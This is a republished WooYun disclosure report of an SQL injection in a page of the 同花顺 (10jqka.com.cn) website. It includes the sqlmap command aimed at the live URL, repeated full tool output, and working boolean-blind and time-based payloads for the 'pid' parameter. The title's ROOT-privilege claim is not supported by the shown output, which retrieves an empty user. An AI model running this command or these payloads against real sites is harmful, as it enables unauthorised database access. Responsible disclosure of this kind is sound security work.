同花顺主站存在SQL注入(ROOT权限)

admin 2017年3月30日16:24:45评论281 views字数 204阅读0分40秒阅读模式
摘要

2016-03-24: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向核心白帽子及相关领域专家公开
2016-04-13: 细节向普通白帽子公开
2016-04-23: 细节向实习白帽子公开
2016-05-08: 细节向公众公开

漏洞概要 关注数(6) 关注此漏洞

缺陷编号: WooYun-2016-188371

漏洞标题: 同花顺主站存在SQL注入(ROOT权限)

相关厂商: 同花顺

漏洞作者: firexp

提交时间: 2016-03-24 08:29

公开时间: 2016-05-08 09:30

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

1人收藏


漏洞详情

披露状态:

2016-03-24: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向核心白帽子及相关领域专家公开
2016-04-13: 细节向普通白帽子公开
2016-04-23: 细节向实习白帽子公开
2016-05-08: 细节向公众公开

简要描述:

注入

详细说明:

code 区域
http://www.10jqka.com.cn/ad_mar/tgt_lwds/index.php?op=post_info&pid=18

pid参数存在注入

python sqlmap.py -c sqlmap.conf -u "http://www.10jqka.com.cn/ad_mar/tgt_lwds/index.php?op=post_info&pid=18" --level 2 --dbms=mysql --current-user -p pid

_

___ ___| |_____ ___ ___ {1.0-stable}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:00:57

[23:00:57] [INFO] fetched random HTTP User-Agent header from file 'D:/Tools/sqlmap-1.0/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5'

[23:00:58] [INFO] testing connection to the target URL

[23:00:58] [INFO] testing if the target URL is stable

[23:00:59] [INFO] target URL is stable

[23:00:59] [WARNING] heuristic (basic) test shows that GET parameter 'pid' might not be injectable

[23:00:59] [INFO] testing for SQL injection on GET parameter 'pid'

[23:00:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[23:01:01] [INFO] GET parameter 'pid' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="/u6539/u6587/u7ae0/u5c1a/u672a/u901a/u8fc7/u5ba1/u6838")

[23:01:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'

[23:01:02] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[23:01:02] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'

[23:01:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'

[23:01:02] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[23:01:02] [INFO] testing 'MySQL inline queries'

[23:01:02] [INFO] testing 'MySQL >= 5.0.12 AND/OR time-based blind (SELECT)'

[23:01:02] [WARNING] time-based comparison requires larger statistical model, please wait........ (done)

[23:01:19] [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)

[23:01:29] [INFO] GET parameter 'pid' seems to be 'MySQL >= 5.0.12 AND/OR time-based blind (SELECT)' injectable

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n]

[23:01:32] [INFO] checking if the injection point on GET parameter 'pid' is a false positive

GET parameter 'pid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:

---

Parameter: pid (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: op=post_info&pid=18' AND 2489=2489 AND 'WFQL'='WFQL

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND/OR time-based blind (SELECT)

Payload: op=post_info&pid=18' XOR (SELECT * FROM (SELECT(SLEEP(5)))pcCt) AND 'RSjT'='RSjT

---

[23:01:37] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5.0.12

[23:01:37] [INFO] fetching current user

[23:01:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[23:01:37] [INFO] retrieved:

current user: ''

漏洞证明:

code 区域
http://www.10jqka.com.cn/ad_mar/tgt_lwds/index.php?op=post_info&pid=18

pid参数存在注入

python sqlmap.py -c sqlmap.conf -u "http://www.10jqka.com.cn/ad_mar/tgt_lwds/index.php?op=post_info&pid=18" --level 2 --dbms=mysql --current-user -p pid

_

___ ___| |_____ ___ ___ {1.0-stable}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:00:57

[23:00:57] [INFO] fetched random HTTP User-Agent header from file 'D:/Tools/sqlmap-1.0/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5'

[23:00:58] [INFO] testing connection to the target URL

[23:00:58] [INFO] testing if the target URL is stable

[23:00:59] [INFO] target URL is stable

[23:00:59] [WARNING] heuristic (basic) test shows that GET parameter 'pid' might not be injectable

[23:00:59] [INFO] testing for SQL injection on GET parameter 'pid'

[23:00:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[23:01:01] [INFO] GET parameter 'pid' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="/u6539/u6587/u7ae0/u5c1a/u672a/u901a/u8fc7/u5ba1/u6838")

[23:01:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'

[23:01:02] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[23:01:02] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'

[23:01:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'

[23:01:02] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[23:01:02] [INFO] testing 'MySQL inline queries'

[23:01:02] [INFO] testing 'MySQL >= 5.0.12 AND/OR time-based blind (SELECT)'

[23:01:02] [WARNING] time-based comparison requires larger statistical model, please wait........ (done)

[23:01:19] [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)

[23:01:29] [INFO] GET parameter 'pid' seems to be 'MySQL >= 5.0.12 AND/OR time-based blind (SELECT)' injectable

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n]

[23:01:32] [INFO] checking if the injection point on GET parameter 'pid' is a false positive

GET parameter 'pid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:

---

Parameter: pid (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: op=post_info&pid=18' AND 2489=2489 AND 'WFQL'='WFQL

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND/OR time-based blind (SELECT)

Payload: op=post_info&pid=18' XOR (SELECT * FROM (SELECT(SLEEP(5)))pcCt) AND 'RSjT'='RSjT

---

[23:01:37] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5.0.12

[23:01:37] [INFO] fetching current user

[23:01:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[23:01:37] [INFO] retrieved:

current user: ''

修复方案:

过滤

版权声明:转载请注明来源 firexp@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-03-24 09:30

厂商回复:

漏洞已确认,正在进行修复,谢谢提醒。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin